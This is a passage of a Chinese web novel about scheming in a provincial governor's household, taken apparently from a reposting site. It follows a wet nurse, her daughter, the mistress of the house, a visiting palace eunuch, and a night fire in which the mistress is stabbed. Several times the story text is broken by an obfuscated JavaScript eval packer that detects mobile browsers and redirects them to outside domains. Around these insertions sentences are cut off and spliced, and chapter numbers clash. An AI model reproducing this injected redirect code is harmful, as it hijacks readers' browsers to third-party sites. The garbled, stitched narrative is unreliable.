真让人这般过一辈子,牛嬷嬷太乐意了。这简直就是掉进福窝窝里。 至于说将来给三姑娘做陪房,牛嬷嬷是乐意的。在牛嬷嬷的心里,给她养老的不止是亲闺女万珍珠。 三姑娘朱凤曦也是牛嬷嬷养老的依仗。毕竟三姑娘可是吃过她的奶水,总会给她这一位奶嬷嬷一二分的体面。 奶嬷嬷的体面,这可是牛嬷嬷如今最值得炫耀的事儿。 “牛嬷嬷,可听说了,府里要来贵客?”四姑娘的奶嬷嬷跟牛嬷嬷碰上了,便是聊上了闲话。 “节度使府是永州地界最尊贵的地儿。随时都来贵客拜访的。这有什么惊讶的。”牛嬷嬷觉得给三姑娘当奶嬷嬷后,什么稀客贵客的,她瞅多了,不新鲜了。 “哟,这一回的可不一样,听说是从镐京都来的贵客。镐京都可是皇城根,天子脚下,哪能寻常。”四姑娘的奶嬷嬷嘀咕一回。 “镐京都,唉哟,那是住了天子的尊贵地。确实是大不同,非同寻常可比。”牛嬷嬷赞同一回四姑娘奶嬷嬷的话。 二人又嘀咕一番,交流看法。 要说朱四姑娘朱小蝶的奶嬷嬷姓白,跟朱四姑娘的生母白小娘一个姓氏。可她们二人不是亲戚,就纯粹是巧合的同一个姓氏。 缘份呐,据说这也是白小娘当年会挑中白嬷嬷做四姑娘奶嬷嬷的原由。 “牛嬷嬷,你可知,这里面还有戏,大戏。”白嬷嬷神秘的凑近些,跟牛嬷嬷又嘀咕一句。 12. 第12章 第12章 明明夏日,牛嬷嬷感觉身上有亿点点冷。她这会儿没想到女儿万珍珠曾经说过的那一出戏。 牛嬷嬷想的是血红一片,红的不似血。 这夏日里,晴天白日,暑气炎炎。奈何此时的牛嬷嬷却是感觉到了浑身的冷,冷在骨头缝儿里。她怕,真怕。 好好活着,不敢奢望。这便是牛嬷嬷。真让奢望,牛嬷嬷怕自个压不住太大的福。 贪婪嘛,一旦贪婪了,太容易落入陷进。一些话还是落进了牛嬷嬷的耳里。从前现在,诛心之给,反反复复的在牛嬷嬷的脑海里回响。 应该怎么办?牛嬷嬷拿不定主意。或者说白嬷嬷透露出来的消息有一点吓人。 镐京都来客,还点名了要见一见牛嬷嬷。 就在牛嬷嬷心慌慌时,有小丫鬟来寻了牛嬷嬷。 小丫鬟的脸上带着暖暖的笑意,一脸开心的说道:“嬷嬷,夫人院里的杨嬷嬷寻您。” 牛嬷嬷一听,应一声,便是忙往正院去。 既然是杨嬷嬷寻她,牛嬷嬷一进正院,先跟守门婆子问了杨嬷嬷在哪儿? 一听杨嬷嬷在正院的家下人房,牛嬷嬷识趣的道声谢,便往正院西北角方向的家下人房去。 家下人房处。牛嬷嬷见着夫人的陪房杨嬷嬷。 “杨姐姐寻我,可有什么吩咐?”牛嬷嬷客客气气的问话。问话前,先见一个平礼。 杨嬷嬷笑道:“先在屋里坐,我俩慢慢聊。” 杨嬷嬷的态度很客气。牛嬷嬷一瞧,屋内不止有热茶,还有点心。加之杨嬷嬷待客的热忱态度,这让牛嬷嬷的心头踏实一点。 不为旁的,只瞧杨嬷嬷的态度就知道不会是坏事,只会是好事。 在家下房里,牛嬷嬷和杨嬷嬷吃了茶,又尝一尝点心。二人见面后的开场白就多聊一点府里鸡毛蒜皮的小事。 尔后,瞧着火候到了。杨嬷嬷进入正题,说道:“寻牛家妹妹来,我是有一桩喜事恭喜妹妹。” 话罢,杨嬷嬷起身,她这会儿去旁边的柜子里拿出来一个包袱。 “这是夫人吩咐的,府上的一点子心意,专门给妹妹装点门面子。”杨嬷嬷笑着解释一回。 一边说话时,杨嬷嬷一边还打开了包袱,又道:“牛家妹妹瞧瞧,可是满意?” “满意,太满意了。”牛嬷嬷一瞧后,她哪能不满意。这包裹里有衣裳,有首饰。从头到脚的穿戴,样样齐全。 不止有牛嬷嬷的,还有给牛嬷嬷闺女的。 “这……赏得太重了。”牛嬷嬷迟疑一下。 “夫人让给的,牛家妹妹放心收下便是。”杨嬷嬷劝道。 善财难舍,牛嬷嬷让杨嬷嬷略微劝一劝,便收下了。此时,牛嬷嬷满脸喜意,说道:“夫人恩典,奴婢感激涕零。” 来朱府后,这好日子过得美滋滋。牛嬷嬷在自个认为的福窝窝里生活久了。她真觉得这好像就是人生的全部。 外面如何?牛嬷嬷不会深想。是否改变?于她万万不可的。 反正让牛嬷嬷选择,她就想这般过一辈子。 遥想旧时光,也怨不得牛嬷嬷有如此想法。实在是当年在乡下做村姑,做村妇的日子太苦了。 人没饿过,没尝过,那一种饿得发慌的日子,那真的就不知道吃饱了是多么幸福的事情。 在饥饿面前,牛嬷嬷觉得能吃饱,这便是天下的头一等大事。除此之外,皆不重要。 “这些不算什么。”杨嬷嬷笑了。 “夫人有吩咐,也是预备着牛家妹妹母女要见贵客。总不好落了府上的体面。”杨嬷嬷解释一回。 “……”牛嬷嬷迟疑了,她又想到白嬷嬷的话。 在家下人房里,杨嬷嬷和牛嬷嬷在谈话。 朱府内宅,正院堂屋。 杨夫人跟女儿朱凤曦也在谈话,这议的便是将要相亲的司徒家公子。 “凤曦长大了。一想着你出嫁的光景,娘就舍不得。”杨夫人心里再舍不得,也知道,女儿总归要成婚,要出嫁。 “娘,您舍不得,那就多留女儿几年,好不好嘛。”朱凤曦央求了话道。 “傻姑娘,我哪舍得担搁了你的好年华。”杨夫人不赞同。 大户人家的姻缘是结两姓之好。再是相看人家,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050026|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得拖来拖去,拖到了姻缘两难的道理。 哪一个高门家族里都不会只有一个女孩儿要出嫁,肯定是姐姐妹妹一家亲。 家族里哪一个女孩儿的婚姻出了问题,从来就是一人有事,姐妹们皆要被牵连。 归根究底,大家族的姑娘真是晚出嫁,又不成的。万一惹出谣言,太容易坏了家族名誉。 “好人家的公子郎君里,想挑了满意的女婿。娘总要多替你掌掌眼。”杨夫人笑道:“一旦挑中了,可不能担搁。” “良缘难得啊。”杨夫人与女儿的谈话之间,又是讲一些当家主母的注意事项。 正院堂屋里,杨婉芯与朱凤曦这一对母女在闲话开心事。 等着朱凤曦从母亲这儿离开后。杨夫人瞧着又侍立在身旁的陪房嬷嬷。 杨夫人问道:“嬷嬷,凤曦身边的那个奶嬷嬷如何想法,可是弄清楚了?” “夫人,那牛氏是一个胆小的。”杨嬷嬷肯定的回道。 “奴婢瞧着这人啊,有富贵撞身上了都不敢笼络农坤着。”杨嬷嬷是瞧不上牛嬷嬷的小家子气。 “这般说来,牛氏是一个有福不会享受的?”杨夫人语气里带上一点玩味的态度。 “可不,就是一个傻的。”这是杨嬷嬷的答案。 当然,杨嬷嬷不会说了是她和人做戏给牛嬷嬷瞧一瞧。如此,才让牛嬷嬷的胆儿被吓得更小。 天降陷饼,横空来福,凭着被吓破胆了,牛氏是想接,又不敢接。 “如此,甚合我意。”杨夫人的眼眉稍间,在此刻带上了喜意。 “嬷嬷,牛氏乐意做了凤曦的奶嬷嬷,她求一个一辈子的安稳日子,我当然是乐得成全。”杨夫人的嘴里吐露了这一番话道。 “遇着心善的夫人,也是牛氏的福份。至于扫清了后续尾巴的小事,请夫人交给奴婢去办,奴婢一定办妥当。”杨嬷嬷举荐自个。 “嬷嬷办事,我从来放心的很。”杨夫人鼓励一回杨嬷嬷。 问杨夫人的心思很是简单,反正一切由着下面的奴才去奔走办事。杨婉芯是高高在上的上位者,没得闹出了脏污自个双手的道理。 13. 第13章 第13章 大势之下,顺之者昌,逆之者亡。这一句话很有道理,阳谋嘛,从来是光明大道。 至于阴谋,蝇营狗苟,没曝光前很有威力。一旦被人察觉防范起来,那威力如何就难说。 更甚至于,还可能挖坑后,没有埋了敌人,反倒埋了自个。 “姑娘,牛嬷嬷似乎被正院安抚了。事有变故。”安在正院的钉子,在此时当然是尽职当了耳朵和嘴巴的职责。这不,一有消息,立刻就传话给万珍珠。 不止如此,还是绘声绘色的学一学杨嬷嬷的手段。 一一掰开,也算让万珍珠涨一回见识。真可谓是一些的阴私勾当太歹毒,人心叵测。 “我知了。”万珍珠点头。 对于正院的杨夫人,万珍珠了解。于是在得到了义兄宋三德的相助后。那可差人盯得紧。 不止如此,便是亲娘那一边的动向,万珍珠也是差人盯着。 不外旁的,万珍珠就想知道这一辈子的杨夫人还会不会起歪心思。 结果显然,人心有私,不可称量。这杨夫人的心肠挺黑的,黑得跟恶臭的下水沟一样恶心。 反正站在万珍珠的立场上,杨夫人是其罪难赎。 “烦你替我递了话给义兄……”万珍珠小声又交代一番话。 传话的中间人应了,尔后,告辞离开。二人碰面一场,时间短暂,不过匆匆。 倒是传话的中间人离开后,万珍珠瞧一眼暑日炎炎的天。 在心头,万珍珠感慨一回。她想着,杨夫人出招了,一招就是要人老命的狠毒招。 那么,杨夫人做了初一,也别怪她做十五。 对于万珍珠而言,她这一辈子想过快活日子。当然是放低底线,享受缺德人生。 人没了良心后,那肯定更自在。至少在杨夫人的身上,万珍珠绝对会不折不扣的信奉了这等人生信条。 “亲娘唉,亲娘唉……”万珍珠轻声呢喃一遍。心里有一些话讲不出来,万珍珠真想说,我应该拿亲娘咋办。 明明是母女,应该是天下间最亲近的亲人。可偏生亲娘的脑子进水了,真心的,万珍珠真想替亲娘倒一倒进在脑子里的水份。 奈何时间短,又顾及跟亲娘的感情。万珍珠没法子用摧花辣手的招。 能怎么办?忍了。 万珍珠就等着木已成舟,倒时候一定用力抱好亲爹的金大腿,让她和亲娘一道享受一回腐朽的封建时代的富贵日子。 人生走一遭,没享受一番,那不是一辈子过得太憋屈了。 没有能耐时,憋屈就憋屈。有机会了,万珍珠凭何要过苦日子。 万珍珠有清醒的自我认知,她就是庸俗之人。一旦有机会时,她真想往上爬一爬,让踩在自个头顶上的脚少一点。 在万珍珠得到义兄助力,胸有成竹时,她有招拆招,顺道还要给杨夫人一点颜色瞧一瞧。 朱府内宅。 牛嬷嬷在煎熬着,她的心头像是有两个小人儿在左右打架。 问她想法?牛嬷嬷的想法矛盾着,此刻,还是拿不定主意。 “唉。”一声叹息。良久后,牛嬷嬷拿定主意。 朱府内宅,正院的家下房。 杨嬷嬷在等待,就等着天将擦黑时。牛嬷嬷登门。 杨嬷嬷笑了,在她的心中,此刻很是得意。 “杨家姐姐。”牛嬷嬷求上门。 “牛家妹妹,快,屋里坐吧。”杨嬷嬷态度客气。 “我来,真有事请杨家姐姐帮衬。”牛嬷嬷一开口就说了来意,她要开口求人办事。 “我这人简单,不求旁的,只求自个和闺女一辈子能在府里过安生日子。就求一碗饭。”牛嬷嬷的主意拿定了。 甭管拿的主意好不好?反正搁牛嬷嬷的心里,她觉得,她的做法很对。纯粹就是为了她们母女二人好。 前程不前程?牛嬷嬷不敢奢求。 当年旧事给牛嬷嬷落的阴影太大。如今又被人蛐蛐几番,几拔人各给了牛嬷嬷深些浅些的暗示。 本来被吓破胆,又对外面世界恐慌的牛嬷嬷,一遇难关,那就缩了。 牛嬷嬷就像是小小的蜗牛,一旦遇上“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054761|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危机”,二话不说的躲进了自个的小壳里。 至于那壳坚硬不坚硬,能不能真的防范危险?这不重要。只要心安,那便足矣。 “牛家妹妹,你不再考虑考虑?”杨嬷嬷还要说一点客套话。 上赶的不是买卖,这拿捏的套路,杨嬷嬷熟悉着。 “考虑好了。”牛嬷嬷心头忐忑不安,到底是牙一咬,心一横,重重的一点头。 “牛家妹妹,你跟你闺女也商量了?”杨嬷嬷态度关切的问一句。 “……” 几番试探,尔后,牛嬷嬷被杨嬷嬷说唱捻打,一样样的利害手段给唬住了。 朱府内宅,正院堂屋。 节度使朱瑞今个陪着夫人用了饭,尔后,又准备歇在正院。歇息困觉之前,夫妻二人闲谈一番。 朱瑞提了一话,道:“镐京都来客拜访,这一回需要婉芯你出面。事情如何?事后你给说说,让我这心头有数。” “瑞郎放心,镐京都来客是贵客,我一定妥善招待。为何来?有何求。我一定会弄清楚。”杨婉芯笑意盈盈,一口应了枕边人的心思。 “另有一事,也当与婉芯你说说。”朱瑞又提一话。 “哦,又有大事?”杨婉芯好奇问道。 “不算大事。”朱瑞说的寻常。 “再有几日,齐王世子一行人在回返燕京都时,会路过永州地界。府上还当再招待一回贵客。”朱瑞说了大赵朝的齐王世子一行人回返的大概时间。 至于齐王世子一行人往镐京都的用意目的,不止朱瑞知道,杨婉芯一样知道。 “两拔贵客临门,相差时间太近。真巧。”杨婉芯感慨一回。 “其时又想想,这算不得巧。不过是刚好的撞上了。”杨婉芯又随意讲一句。 对于再有贵客登门,还是齐王世子一行。杨婉芯不甚在意了。毕竟女儿朱凤曦的婚事有几分眉目,那注定不远嫁。 于是齐王世子跟朱府上下的干系,就注定了是萍水相逢客,杨婉芯当然撩得开手去。 对她而言,走了过场,不失礼节即可。 14. 第14章 第14章 万珍珠在算计杨夫人,杨夫人一样在算计万珍珠母女。 被算计的双方各有谋划,各有心机。当然也不会谁都是有心机之人。像牛嬷嬷就是一个被吞了脑子的“傻瓜”。 让人揉搓圆扁的牛嬷嬷在心里还觉得自己选择了光明大道。 至少落牛嬷嬷自个心底,她觉得自己没错。 夏日,一场雨后。朱府,镐京都的来客正式登门拜访。 牛嬷嬷穿了新衣裳,戴了新首饰,尔后,去了一趟朱府前院。 会客厅堂里,牛嬷嬷见到镐京都的来客。对方年岁不浅,约四五旬左右。 打眼一瞧,可看清楚对方面白无须,这显眼的特征,让牛嬷嬷瞅一眼就知道来客是宫廷出身的太监。 “咱领命而来,特意求见一回干娘。”这人的岁数比牛嬷嬷大。 瞧着面相跟牛嬷嬷差不多,原因?可能是牛嬷嬷早年吃过苦头,如今的面目有一点显老。 这一位自称姓旬的太监说话客客气气,称呼比他年岁小的牛嬷嬷做干娘,更是专门介绍番自己的身份。 旬太监是当朝天子近臣万忠良的干儿子。至于这岁数跟干爹差不多,这不叫事。 干爹与义子,那从来看的是身份地位与权柄。 真要是以岁数论大小,压根就不绝对。 “……”这会儿的牛嬷嬷见着旬太监和善。 她心头有一点儿想改变主意了。其时,好像让亲闺女认回身份,有一个能给荣华富贵的亲爹也不错。 牛嬷嬷的态度在缓和。在旁边当陪客的杨嬷嬷心头一沉。 杨嬷嬷做为当家主母的陪嫁,一路从小丫鬟到心腹嬷嬷,这等主母之下和众丫鬟婆子之上的地位,那想挣来不容易。 至少如何辨别人心,特别是揣摩了人心善变等等,杨嬷嬷的一双眼招子灵验的很。 可这会儿的杨嬷嬷心头着急,面上不显。 旬太监从镐京都来,当着这般人物的面前,杨嬷嬷不敢搬门弄斧。 杨嬷嬷很怕一旦什么小动作多了,太容易成为戏曲里的化蛇添足,多此一举。更怕就是多此一举后,以至于是功亏一篑。 好在杨嬷嬷的担忧是多余的,牛嬷嬷最后的最后,还是牙一口,心一横,按着早先的决定办事。 朱府外。 守在一处客栈的二楼,万珍珠在守着一场戏。唱戏的没登场前,万珍珠准备等一等。顺道还能办一点小事。 思绪放飞,心里腹诽,万珍珠对于杨夫人的一些龌龊手段,那就挺佩服的。 当然佩服归佩服,万珍珠对待敌人可不会心慈手软。 念头翻转,万珍珠又琢磨了一回。她这算不算也要手头沾上了血腥味儿? 算是吧。不过,不要紧。反正是离着距离,就算杨夫人挨刀,那溅出来的血也溅不到万珍珠本人身上。 只要能远远的看戏,好好的吃瓜。万珍珠很满足。 “我再问你一遍,当真不后悔吗?”万珍珠瞧着面前的少女。 这少女容貌普通,可通身自有气派。让人一瞧便会知道这是富贵窝里养出来的娇小姐。 再一细瞧,少女的一双眼眸子里盛满了哀伤,让人望之,更生怜悯。 “不后悔。”少女语气决绝,十分肯定的回话道。 “我家几十口人的性命,说没就没,总要有人付出代价的。”少女回话语气似乎是冷漠的,可她那一双眼眸子里哀伤在这一刻好像成了燃拜,此时此刻,那是燃起熊熊的仇恨之焰。 万珍珠沉默片刻。尔后,她道:“你若是后悔,其时还来得及。你尚未曾进朱府,也未曾亲自动手。只要你想,可以回头。莫忘记了你还有一个弟弟。有你和你弟弟活着,你家血脉依然延续。可祭祀祖宗,让九泉之下的祖宗也有血食能享。” 万珍珠的劝话貌似是真心实意? 对于给杨夫人挖坑,万珍珠干劲十足,那是坑坑不断。待如今杨夫人出招了,万珍珠多心情不美好了,一不爽利,她就想快点见效果。 这不,由着宋三德这一位义兄出面,万珍珠想要的辣招狠招马上就可能安排上。 只是安排归安排,做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旬太监从朱府离开,等坐上马车,马车将远去时。旬太监又是掀起车帘子回望一眼朱府的门庭。 此时此刻,这一位旬太监的脸上露出来阴沉的笑容。 这一笑容,那笑得弧度就不对。怎么瞧着,怎么不像是怀了好意。 “有趣,太有趣。”旬太监感慨一句。 嘴里说着有趣,可旬太监的脸上神色表明了,他一点不觉得有趣。 旬太监的一双眼眸子有恨意,他恨上了朱府的人。从镐京都出发前,永州的情况如何?旬太监得了干爹提点。 哪料一来,先下拜贴,礼数做足,对方还玩阴招。 对于太监而言,办不成事,哪有前程? 朱府刚才发生的一切,于旬太监而言,就是有人想绝他的路,让他去死。 此时,旬太监离开朱府,尔后,他先回到暂时的落脚地。 此处不是旁处,正是万珍珠待着的客栈。 在陈姑娘离开后,万珍珠没急着走。她继续等着。 果然不出所料的,万珍珠瞧见了偷偷跟随在镐京都来客之后的小尾巴,那才是万珍珠想瞅一眼的。 亲眼所见,又有义兄宋三德给查出来的人证物证。 对于朱府杨夫人的恶意,万珍珠不再怀疑。 同时,万珍珠在琢磨着,她准备提前动手好像不算错。毕竟有这么一条毒蛇一直在背后蹲着。 千防万防,难防恶意。 万珍珠准备早一点干正事,请杨夫人吃一吃苦头。 当天,从外面回了朱府。万珍珠没急着回梧桐院。她先去寻亲娘一回。 “娘。”万珍珠寻亲娘,当然寻着了。 “……”这会儿的牛嬷嬷却是有一点失神,被亲闺女一唤,她的神情还有一点紧张。 “娘,您在想什么?”万珍珠问道。 “没,没什么。”牛嬷嬷顺嘴回道。 “娘,您今个跟往常不一样。大不一样。”万珍珠仔细瞅一瞅亲娘,不是她叨叨,她只是讲出来一个真相。 “……”牛嬷嬷继续沉默。 哪用亲闺女讲,牛嬷嬷也清楚。牛嬷嬷这时候的装扮跟往常当然不一样。她浑身上下是穿戴一新,哪能一样? “娘是有新主意,不打算做寡妇。娘想改嫁,女儿猜测的对吗?”万珍珠胡诌的问道。 “胡说。”牛嬷嬷反驳。 “你一个小丫头片子,你懂什么。”在牛嬷嬷眼中,她这一辈子吃的盐比女儿吃得米都多。 当然是她这一个当娘的想得深,想得多,思量更周全。自家亲闺女憨吃憨玩的,还是由她当娘的继续宠着,就让女儿一辈子过了平平凡凡的日子就好。 “那您打扮的这般新鲜,这是为甚?”万珍珠拉一拉亲娘的衣袖,脸上堆起笑容的问话。 “……”牛嬷嬷一下子沉默了。 “娘有秘密,还不跟女儿讲。真让女儿伤心啊……”万珍珠作势要哭,当然是装的。可这一份假装里,未尝不是又有几分的真心。 因为杨夫人的安排,万珍珠已经全发现。可万珍珠更想母女坦诚。奈何万珍珠前面一试探,亲娘就是堵了路。 亲娘跟万珍珠是两样人,奢求不同,这真的可谓是道不同,不相与谋。 能怎么办?万珍珠不可能跟亲娘倔强。 万珍珠恼啊,亲娘怎么信外人,还不信自家人。 万珍珠就一个想法,愁人。 可愁归愁,日子还要继续过。万珍珠准备按班就部,按着她自个的打算行事。局已布下了,棋子各归位。如今不过是等一等,缓一缓。 万珍珠真想看大戏的。毕竟倾情演出的人颇多。 夏日赏荷,也是乐事。在杨夫人领着女儿朱三姑娘朱凤曦去上香礼佛时。 杨嬷嬷做为杨夫人的陪房嬷嬷也没有闲着。她的一番吩咐下去,自有人跑腿儿办事。 夕阳云彩,霞光灿灿。这时的暑热已经比正午时候下降太多。牛嬷嬷让相熟的妇人拉拢着,几人一道出府去外面买些得用的。 永州郡城,最大的客栈门外。旬太监刚归来,他连续遇上几桩的坏事。这时候心情,那是坏透了。 就不巧,在这等时候旬太监又遇着不张眼睛的货色。 对方的话,旁的不要紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一位府尹公子让太监的跟班殴打致死,亲眼旁观的牛嬷嬷再一次为自己的选择满意。 牛嬷嬷觉得自己选择对了,安稳过日子很好。 想这府尹公子又如何?在普通百姓眼中,那是高高在上的官老爷。 可落了世家大族眼中,还是寒门出身,那是门第低了一些。 像是镐京都来客也罢,还是那甚的齐王世子也罢,来节度使府上做客时,可从来是客客气气。 至于这太监的威风,牛嬷嬷不止瞧过一回。 可再威风又如何? 这威风特短暂。诚可谓是如流水匆匆,繁华易逝,美梦易碎。 在心头,牛嬷嬷叹息一声。 牛嬷嬷瞧一场,也不过跟人嘀咕蛐蛐一回。 至于干涉什么,那不可能的。 在牛嬷嬷离开后,远远的,在客栈二楼处。 万珍珠也在瞧着这一场大戏。她还瞧见了亲娘的离开。 “好手段。”万珍珠赞叹一句。 万珍珠从来不小瞧了杨夫人的手段。这一二日里,朱府上下,有的是人在亲娘耳边蛐蛐。 除此外,还是一场戏接一场戏,全方位的让亲娘瞧一瞧世家大族的威风。 那戏里怎么唱的? 百年的皇朝,千年的世家。这世家成了一些人嘴里的主角。 也是在这一场戏结束时,衙门来人。可面对了镐京都的来客,面对着宫廷的身份。 衙门当差的小啰啰也不敢真拿人。还得站远处恭敬的跟旬太监点头哈腰。 衙门当差的还没资格靠近了旬太监,不过是旬太监身边的侍卫随意讲几句打发人。 那太监的威风,还有宫廷当差办事的跋扈,着实让万珍珠瞧上一回。 万珍珠的眉头都忍不住皱一分。她呢喃自语道:“瞧着,也不全是什么造谣啊。” 世家嘴里太监没好人。可世家本身嘛,也不是干净的如白纸。 只能说半斤八两,乌鸦不嫌弃煤炭黑,都是一样的货色,黑的发亮。 万珍珠这会儿感慨的还是衙门办事,那也要看人脸色。 真是遇上硬茬子,那事儿还是不办也罢。 “也对……”万珍珠转念一想。在这等王子犯法不会与庶民同罪的时代,三六九等,阶级分明。 王在法上,这等情况下,可不是黎庶百姓如草芥的时代嘛。 越是想着位卑者的可怜,万珍珠越不能容忍了做什么狗屎的家生子。 万珍珠这会儿又想替亲娘倒一倒脑子里进的水份。 哒哒哒。在客栈大门前的一场祸事扫尾后。有马啼声远远而来。 万珍珠坐于二楼,临着窗边,她瞧见了一条长长的队伍。 远远的而来,待近了,万珍珠又瞧见熟悉的面孔。 当然不是每一人都认识,而是里面有认识的一人。 “赵济世。”万珍珠认出来坐于高头大马上的赵济世。 她略一想便是懂了,这是出使将归。路过永州地界吧。 檀香袅袅的佛寺内。 杨夫人点了长明灯,添了香油钱。她与女儿礼佛后,又参加法会。 当然,在此等时候免不了来一场心照不宣的相亲。 一处禅院内,有种于大缸里的碗莲盛开。 花开得很美,这会儿坐于窗前的朱三姑娘朱凤曦没有心情赏花。 “凤曦,司徒家的郎君一表人才,你可满意?”杨夫人很关心女儿的心意。 “……”朱凤曦沉默了。 良久后,朱凤曦回道:“娘,女儿不喜。”不喜什么? 问朱三姑娘自个,她一时之间也是说不上来的。总之,就好像差一点感觉。 “你不喜……”杨夫人瞧一眼女儿的神色。 “可要给娘说说,凤曦想挑了如何的姻缘?”杨夫人问女儿,她的态度认真。 “司徒公子很好。”朱凤曦心头也清楚,母亲心疼她,母亲替她选的良缘当然不会差。 甭管是少年郎君本人,又或者少年郎君的家世,哪一样摆出来,样样都是出众的。 “可能没缘分。”朱凤曦给了这样一个答案。 “傻孩子。”杨夫人听着女儿这般回话,她伸手在女儿朱凤曦的额头戳一点。 “你糊涂,这缘分不是嘴上说说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066640|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那得门当户对。何况娘嫁给你爹时,也是父母命,媒妁言。”杨夫人对女儿劝道。 “你瞧,这些年里娘跟你爹都没怎么红过脸。你啊,就是太任性了。”杨夫人无奈的摇摇头。 “娘,女儿任性也是您和爹爹宠得嘛。”朱凤曦摇一摇亲娘的胳膊,她在撒娇。偏生杨夫人是吃女儿这一套的。 “罢了,罢了,总归心疼你。司徒家的公子不合缘,便是不合缘。总会挑着合你心意的。”杨夫人没得跟女儿纠结。 这一桩姻缘不成,再换下一桩。凭着节度使的门第,在杨夫人心里,她家女儿不愁嫁。 在杨夫人跟女儿朱凤曦谈妥时。一等大丫鬟玛瑙进屋禀话,道:“夫人,小厮快马急报,府上来了贵客。乃是大赵齐王世子一行。” “知了。”杨夫人应一声。 略思量后,杨夫人又吩咐道:“安排下去,准备回府。” 大丫鬟玛瑙忙应下主母的吩咐。 朱三姑娘朱凤曦跟随母亲上香一回,再是归府。 待归府后,瞧着门庭热闹。又在路过穿堂时,恰好遇着齐王世子李明弘。 皇朝的皇长孙李明弘,他身上自有气派。远远的,他与朱三姑娘见礼。 朱凤曦忙避开,又回礼。二人都很客气。 朱凤曦只是与对方再见面,略略的一息时间。一个照面,再是各自告辞。 可就是这一个照面后,朱凤曦突然有一点明白。她跟司徒公子不感冒的原由在哪? 可能司徒公子的容貌不够俊。朱三姑娘朱凤曦不怎么想承认,她看脸,她肤浅。 这一夜,夜深深。 朱府内宅正院的隔壁,突然之间火光冲天。 “走水了,走水了。” “……” 住于朱府外院的家下人房里,万珍珠哪怕隔着很远呢。她还是被吵醒。或者说她不是被吵醒的,而是太浅眠,压根没睡着。 “娘,娘,醒醒,出事了。”万珍珠推一推亲娘。 “咋了,出啥事?”牛嬷嬷睡得正香甜时,她被亲闺女给推醒。这会儿一醒来,牛嬷嬷也在迷糊之间听到屋外似乎有闹嚷嚷的声音传来。 17. 第17章 第11章 “外面出事了。”万珍珠忙跟亲娘讲道。 这会儿牛嬷嬷真清醒,她没半分睡意。忙坐起身,穿上衣裳。 “快,出去瞧瞧。”牛嬷嬷听着外面的喧嚣,她跟亲闺女回道。 “好。”万珍珠应一声。 出得门外,只瞧见内宅正院的方向火光冲天。在夜幕下,远远的能瞧见,那赤红色的一片,一大片。 朱府内宅,正院。 正院也被点着了,从隔壁的火势来得太快。好在大户人家有备了防火的太平缸。又有仆人守夜值班。 起火后,有一阵的乱子。再之后,一切自然以灭火为要紧事。 这一晚,内宅正院的主子就主母杨夫人一人。 杨夫人也被惊醒。在丫鬟的陪同下避了火势。 初乱之时,杨夫人身边的丫鬟少了,就一个一等大丫鬟在跟前。至于其它的丫鬟婆子全被杨夫人打发去帮衬了灭火。 杨夫人此时很生气,她生气是下面人办事不经心。 天干勿燥,夏日起火,非是好兆头。 在杨夫人心情不好时,突然之间,杨夫人的腹部一阵剧痛。 在杨夫人想回头,她想瞧了究竟是谁谋害她时,她身边丫鬟也跟她一样的摔倒在地上。 主仆二人的身上都是流了血,不同之处在于杨夫人流出来的血带了微量的黑色。而丫鬟身上貌似流的血是鲜红鲜红的。 “……”杨夫人倒地时,她还扭着头瞧一回。 她瞧不清楚,只能在燃着的火光映衬下,她瞧见了两道人影在匆匆远去。 “不好了,出事了……” “……” 杨夫人耳边出现幻听,她晕厥过去。 从朱府内宅到外宅。本来各处有守门的婆子。往常守的很严,可今晚遇上大火后,一切有了松动。 在有心人的帮衬下,有二人着急了出府。 外院,赵济世也被朱府出事给惊醒。不过他要护了齐王世子,那肯定不敢轻易离开自己的岗位。 倒是齐王世子李明弘信任赵济世,同时也信任身边的侍卫。 于是齐王世子吩咐赵济世去问一问朱府出了何等事? 